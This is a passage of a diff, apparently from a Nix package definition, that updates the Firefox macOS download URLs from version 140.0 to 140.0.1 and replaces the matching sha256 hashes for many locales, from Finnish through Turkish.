-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/fi/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/fi/Firefox%20140.0.1.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "2b3edc6c4d891e92325c752623d508f021a67583d25ec9a6e430c4a26f7f0766";
+      sha256 = "33aefa3d2789956a6d7a6f3018b731f7d3e8ddbb7c36677e39445147603e02c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/fr/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/fr/Firefox%20140.0.1.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "523f5f7899db0f58f1a196905b263b0daf4e891d51a52609004a5437f37040a1";
+      sha256 = "79a08c0bf65b8962eb459cf4a555bc0d23e80c726ad1b8b6f1c4de5e6b032c72";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/fur/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/fur/Firefox%20140.0.1.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "928732daa3c5a83ba33cc061c806f09d8332be15924272da83ebcb274ab1280c";
+      sha256 = "3633f8d2e36ceac2f68d02062258ab353f9933e89397c68cc93318aadff13ddd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/fy-NL/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/fy-NL/Firefox%20140.0.1.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "251b2879f978907869cb6aee9327b9c389102113e19886d063077c44a3494257";
+      sha256 = "d0ab63818fad2efeddd33e4719dd26abb6317c5fc5116063c4e82af3672d3eed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ga-IE/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ga-IE/Firefox%20140.0.1.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "be910f034ff43b789ac04b50c773903a3e18164a9cc8c5adefafc26eb6a332ca";
+      sha256 = "9c1d8a88f401868adec4f19549a666550ebadf0c764d4daf29ac8c9dcfcb9e0d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/gd/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/gd/Firefox%20140.0.1.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "c988d72107512c162591b9ad6c1c0b4e422b221639027b2906c96375c74e6f5e";
+      sha256 = "684d1a32692b5b6fdf81c6d6923582a3b523632e824e1e6b72207c9d58c9c596";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/gl/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/gl/Firefox%20140.0.1.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "5e9620dbdcd068b08415f6f1e5c831757facdc028af20cc32c3fcaa316bedab0";
+      sha256 = "274bfac363d1251d4fb5bc75f5175deb3c462ae44f29952e7b0e5790a48350f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/gn/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/gn/Firefox%20140.0.1.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "85368c393310707d0d0c3679247e45ffd03b8e5ee902483e2fb047517a913859";
+      sha256 = "273e4d9394df2de0cb5c1119a62b06d587fe0585bea9a0de9a81f0bbfe0476a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/gu-IN/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/gu-IN/Firefox%20140.0.1.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "56b987c8c2e12f7b36ea4eb32c90c60b196b3caea031b5c204cd17dea794604d";
+      sha256 = "8044b2cb651367ed33fd7e21ce4ff0dc470650e6a8f1f364c8dcc70cb5bfcfaf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/he/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/he/Firefox%20140.0.1.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "f65fad05cc857d849c41a2e937b1a7d8fd8f2bf2eb6e07a9bce16d169a891926";
+      sha256 = "3c6f4c000e5332b2b1dafd3d03e2fe9c5b92a568374c5341b23d3d83a11487af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/hi-IN/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/hi-IN/Firefox%20140.0.1.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "6c8c3d3d34402df266a8183886a60a94ccb20264e4f43459f8ec7e94dd57360e";
+      sha256 = "6a87054f095d50451cda386e618b9b9f99b5734cf574b0ab2f0b0f46371c4034";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/hr/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/hr/Firefox%20140.0.1.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "12e19f3180add0643543cdf16fb8e1ee2775f1e9ac671a2b9802da0abcfa6b0a";
+      sha256 = "168aab9bf5764617e6f7fb329f019d0d66f9fbbb98ec2e9b8afbec8265b517c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/hsb/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/hsb/Firefox%20140.0.1.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "3db483ade515fb66ef1f7d7e401ef36a930da49605c86dd24b5fb389ccfb9227";
+      sha256 = "ba57e50ef701a56a19071388f23e3c602b113569a75c26ffbf1038744717738b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/hu/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/hu/Firefox%20140.0.1.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "77785cce6ea6c618e7a3211dba42381ffc2bd87732f967cf9954169fb407772b";
+      sha256 = "608ac9e8eaa13b375838349b7cefa20f9d335d296c8f68a648edaf31c349aed8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/hy-AM/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/hy-AM/Firefox%20140.0.1.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "c12471fa3da0b938772c37f3fda4c41e4bb3934bb65521402dd51520641eaa63";
+      sha256 = "e6b4bf9f71289bd70618a085383ba4308dd7c82c8625745b9583090ee021152c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ia/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ia/Firefox%20140.0.1.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "b0b26e915a1e090da09655808506755e7b69b200084678980bc4d43d68207905";
+      sha256 = "5beac4f4a51e6805ad754e6e178389f77e7827ea38a1eb1e484d63824df72b51";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/id/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/id/Firefox%20140.0.1.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "83d16b2f15a51a1c7a8196b16236a0f1f7e72ba62a157a9d570760fd02c5db35";
+      sha256 = "5a4b76c3593c7043aafaa69419b493d54f3d2f31275678e4cbb5964d7fb56b08";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/is/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/is/Firefox%20140.0.1.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "e25dde9001d5236d644a4e2ec2a9ecbc049ab8552d07884583557966ffb581c2";
+      sha256 = "0bb9a615cbb4d364bf06c6572372aae32ec52c25ec935d98a87c1c1e658e3245";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/it/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/it/Firefox%20140.0.1.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "ff7417875f4b5c61b7857f30c55803a2e977d16f51af03259e4161848f393df3";
+      sha256 = "1701dd73416b901fd519f6f7e208c555e11bfde444be6cebed5950bed6b3cc2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ja-JP-mac/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ja-JP-mac/Firefox%20140.0.1.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "767aa8ee404a3ac4b9be5f89f630d55ccd85a743d432b7e2bce0bbbb46c27c61";
+      sha256 = "b42016e88c88f69c90239e08503fb74521b69a7947ca33807bc058efc0123efd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ka/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ka/Firefox%20140.0.1.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "4395b5cc101e85a3f9c7fa4b9ede792a758ea5f24d91f7a8e7af1ff9105f83fc";
+      sha256 = "ab8e74fa4fdfe2e6048e689e1b5af2c743e8887acc77ccbf8014456c9cf123f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/kab/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/kab/Firefox%20140.0.1.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "fb615390c7e8c890096c7eb230e4862bbf3f4ad37e5ca791acdb276049086420";
+      sha256 = "c03b505c76b83dfc4e00f8608bdb6da1d707ac85fefacc7347c3e26e4fc996f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/kk/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/kk/Firefox%20140.0.1.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "74d44581a25c2e30597a99a279d3e37d544f170b48debf8ca765e399b2286690";
+      sha256 = "01a1ef3a639200d804ebbab7fe81ac79f72ea51ede707ddccf042baacb27e01c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/km/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/km/Firefox%20140.0.1.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "c728746ff9d57247451ec5a494d6a0925da59c2c052500472ffdd8c3e52cabc1";
+      sha256 = "56a95f4c4d2a89f3b434260a841df95684e72c594f00a4bd1bc99dd0399821ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/kn/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/kn/Firefox%20140.0.1.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "00e42306ed4eb34a1015bd851f146f324148531e3d634d1faecff6b1f7b696bc";
+      sha256 = "b8c7ef77c4e6d2e8c15f6f5e025c21a837fa15ce8f5928f3a39cf21e1cbd7254";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ko/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ko/Firefox%20140.0.1.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "7bead55e834069698c72c22de573406c8177fb27a1f6174a34813295efe3aca5";
+      sha256 = "c0b2c9c0e7ab9c05213f297478a9768ee1e9d2c3ef7369f7b8945d92cd5d1835";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/lij/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/lij/Firefox%20140.0.1.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "02bbbfc3904758ad5dc3abc0c02d94a5f6c3e82fed504dd1d9fb415fb2096aa2";
+      sha256 = "9450ecaab23f70227bb69f4ea883ffac3713e4c5fb7e62aeed182beb4a496732";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/lt/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/lt/Firefox%20140.0.1.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "b9d6135116d665564fa405de90ea33f3b730c9c6296c5e7210bfff720ffac031";
+      sha256 = "fb61d7a37a63a0e7f7ec9fa159fdf0bfea7225f5361aa9ca19770de92dd48b32";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/lv/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/lv/Firefox%20140.0.1.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "47fc8e61bd3b7af1bfeee046a96038fcf6e066231787051281a5fc477052ec65";
+      sha256 = "8edd5dd24733b40dd391805049ef64eac6d8a47810fbe9cf8dc0d95f334a3b77";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/mk/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/mk/Firefox%20140.0.1.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "aa28371d9f707869af43f1973e3b91c24840a0ef9cab4e2b86a0f21d3bc66941";
+      sha256 = "5d18eb003872ea49ca4b3b8deb8a7de03d1b5bf56c28a74ba64539eb036cf52a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/mr/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/mr/Firefox%20140.0.1.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "93b81363da4279e55c1adbbdc92bb4925259f7ff5b62af8864bd083bb7d63e0f";
+      sha256 = "5f485954a2f4e50e11edb3dcc66f4557ef4a65ab3fec8281305384e90f1b74d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ms/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ms/Firefox%20140.0.1.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "0d364950485cabcd358fe5d8e35fbbbf84894bb5d70c1e5deaa2e4790e892a8e";
+      sha256 = "873bbb32b69cc9034af7f5b1a620264f3554a4c33204726f1a34c3a70d176fc8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/my/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/my/Firefox%20140.0.1.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "b8b0f6c1fc3329a186dae0cc27b7852e3aacc8dcaac6b7e11ffe24973485e687";
+      sha256 = "a060dea26ef4e3be103aecb2a7f2a3d56da8464f80e9d13555da30d2a7f91cec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/nb-NO/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/nb-NO/Firefox%20140.0.1.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "a0a7cdd84ede13ab5e333177fdd0e0abb2fc53c065667d9401dd394bc88dacd6";
+      sha256 = "879c71957f46a7d3c28a379d48a1fafa920a7795e9fe9649a9975a227c91ec77";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ne-NP/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ne-NP/Firefox%20140.0.1.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "0a02f26ba81ece40b45ec87879e5ac797adc36a74d3d850a439259e97f69c8b3";
+      sha256 = "e39f6ad8bd0378fbc3182673220b58296dfaf77bce416e7820e9166ede6d6daa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/nl/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/nl/Firefox%20140.0.1.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "fe605c4f24d30adb984f9d466427064996665fc46d93fda121cb475249de51a6";
+      sha256 = "b20d05fe1da4702787bd1d65f9d4f44250171884e182655811c7155d9dc46ced";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/nn-NO/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/nn-NO/Firefox%20140.0.1.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "9c9f431f5c95e036bd77c8bd3cc91f78cf949812e361ec77ab5de29cb4454985";
+      sha256 = "98bd6119bbc2c200563ff689ab8a79b22c31c29ac3e4c0947a67660a2f982882";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/oc/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/oc/Firefox%20140.0.1.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "2ff26c27720dd961b9d42b52dd1eb9bb366b525b682bd01e7028320183375daa";
+      sha256 = "20949d84312488d0d629366a2e23e561e8b2b141a8efc1d6989ad9eba7537ab3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/pa-IN/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/pa-IN/Firefox%20140.0.1.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "844be22b0a8405895c7023f17a876dc795378510129dd85aa1316e9836458f3a";
+      sha256 = "15daaccd37cc22354bed47909558821241330c86901902d0d943e787dac6922a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/pl/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/pl/Firefox%20140.0.1.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "c5607951ab65e4ef4423aac64b106b1c27a6b413761b7751304c0204323d27c5";
+      sha256 = "1a94f98d57bf6740a033ff7602efcd50e72f010f8e2ca8f8a0d7e6ca9efdc2bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/pt-BR/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/pt-BR/Firefox%20140.0.1.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "32a91038ea6ae1469fdbae91e67fa8d65bf4d4359dafdfbdadcbd613130eca86";
+      sha256 = "d86d87348e12eb5ee47b5355feee10e33a605d477b435930065867ba55d95556";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/pt-PT/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/pt-PT/Firefox%20140.0.1.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "baee5014326c90d7ac41cba4862a42c44a70cdbef77627e7fc93bab1fd4ce8c4";
+      sha256 = "e76c4434038f51aa077c1f7afd7c9d4aca4663d0a34304161057d099be708e26";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/rm/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/rm/Firefox%20140.0.1.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "5b171e4cce7ca88d2c620dba26c9b3b2941e4e0465ea3388fec1efdf1c681ce3";
+      sha256 = "80ad315bc4c5ca24262bbd6da2c9512c01b4a8af20ab88d863266d9d316ab7d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ro/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ro/Firefox%20140.0.1.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "e3b46ba679fae5642d634ac48112e12374458e78a463493e97afdb8b06534413";
+      sha256 = "0ca7cd7fa968e0a3f1b56b2cc75bb40994e9e741586786a28e250e9699b3980c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ru/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ru/Firefox%20140.0.1.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "274982f5872ecfa90aec643d36e5f32d14eb0ae504597e9279f562b1eec116a0";
+      sha256 = "671a25ec32798f1dd6aadb01269f76e0f7222bc46122b3eeff2df0f280976ceb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sat/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sat/Firefox%20140.0.1.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "1a4e6709373fcc14da59cd88c2aed3c331d415198129cdcfbc3e2f02c2072d33";
+      sha256 = "7fde15fba88b867bfbdfc35842d7fe8d5d5adfd1fe2e5632ddcb744d69f57621";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sc/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sc/Firefox%20140.0.1.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "a3f41539a9139325f119f4cb00a212377b73d94801d2c481a174412199df63cd";
+      sha256 = "a02ee8e4439b19d128b7ce01c01be2c984309caa550ab86517ff1cbc68480150";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sco/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sco/Firefox%20140.0.1.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "71f55579c8ed8b3608b1ead9f2063d88936c5e7b66eb34562f4fca13ad06c255";
+      sha256 = "ee1f6e3520f9853af900a0842c80f94d2a830d90748efb25207de9c895c2b9f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/si/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/si/Firefox%20140.0.1.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "f61f9095d9eecd80da4db323b938ee0d2a79ad2d7b6d412960ecd00484e402ba";
+      sha256 = "55d457b06b9664ba00d100345bade3335999ee7df0bba3075eba3bd808aa641f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sk/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sk/Firefox%20140.0.1.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "7f97d6f7f331799999b40674662301dd1bc7744d1dd783f03e8bae12711f4aa2";
+      sha256 = "9bbbbf5209535f64f9736e886eeeeb79b0d02b50d1238b3835fe60fe961531fb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/skr/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/skr/Firefox%20140.0.1.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "d2840f66ad2a0281c0cf362631963ff5a99b77a39bcbc956aae3c11d1bc0bce4";
+      sha256 = "e3cf964f2e0300f5feec02be3b45e7712309b07c4fe65692867e429d2bc9e4d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sl/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sl/Firefox%20140.0.1.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "daf4e6a94a060f92419d9ad3474dc005a82755bfda7c15a8e174e15d78f2e8fb";
+      sha256 = "bc0a450124095c46ff11a681992ba6b10de00c92edcf6c01aa2bffcc8e815d54";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/son/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/son/Firefox%20140.0.1.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "e6761f721df1866d6dcb0c8fc2ef6d6f87e8cc739a30597bd4873e154b890ca0";
+      sha256 = "18a6dc8b89d4bdcdc0d61e859a0bb5a52488a9b35a4bec7288a7708028134e07";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sq/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sq/Firefox%20140.0.1.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "2ec1dee5c8552f510c847d9ff9d30e98ad6d51d44e43cc801e6bcded2339dcf8";
+      sha256 = "e354102d47616e601f388322cda0171188e800a7b89b87492ef25e4d7a2d9966";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sr/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sr/Firefox%20140.0.1.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "8a57d2bf77e497e2988afc172b0e198a115699dd90162e888a950b8be4689f8c";
+      sha256 = "3c4ba2034cae06fc2047d6e821bd57476ea5b5553b354ebbc789789f5687cb03";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sv-SE/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sv-SE/Firefox%20140.0.1.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "428b00960c2b5897a78265f32bfa9a065456cd674a690305173f41493ab529ab";
+      sha256 = "2dacb4595f30580ccaf96875ad9dc35ada3a4561e05c5fc2b0a837e55e539fe9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/szl/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/szl/Firefox%20140.0.1.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "35b79dd5e1913d8c22ccb3e440c3dbc3d8170e7977893921aa28b882ae3d48b0";
+      sha256 = "3ef5b6c9b682e0f82c372a9a6ad856fa4889af5b87a2f9e292185fb696a53371";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ta/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ta/Firefox%20140.0.1.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "8cb9812857e15d6c755d6b0b7479b5d69fa1b1d69f4b8ec149ec8ef50d79120e";
+      sha256 = "63a342067c199290e5f67567aad809b61a67f8340109b2e13004271e772dd9fb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/te/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/te/Firefox%20140.0.1.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "5f88a5fc49b8074e9bbf990c676f8d3782b68a61a583f4cc69514dd04d213655";
+      sha256 = "72de647ff4d6ee4af2219e77206ac2704a8e14bccd18774dff80186b2b872449";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/tg/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/tg/Firefox%20140.0.1.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "3a19b160e28cfcd100c1f185ac08dd3bbaf627a3ac43151f252c7a6eb15ccbef";
+      sha256 = "e59d1c5d79d7b6224c60a95642b836436ced01d770478a084f0fdfa730236255";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/th/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/th/Firefox%20140.0.1.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "c010b6a584872a648d88c03af33d5d721c74ffbd16938ea5cb6752cae636d1b2";
+      sha256 = "e03b7ff634cb44595a86e4c0d125929a6365f3d0c4a653d1e9355971da2607ed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/tl/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/tl/Firefox%20140.0.1.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "b62a4a02012c0f71f8220a2b2de969f3d1fa59fa1aba7fcec97e0666f88c1693";
+      sha256 = "c6b2f952877266ed130bdb1d7565d154664c201d2f03172952ccf8b58ec85628";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/tr/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/tr/Firefox%20140.0.1.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "1fb628f977b870b77fc27339522dff3dd75ba4b105e5c1876c6558514ddcba1a";
+      sha256 = "e60589257d139e71ec8947eb417caae063b21aa730a071f30dc9e8067eaa7fe5";
     }
     {
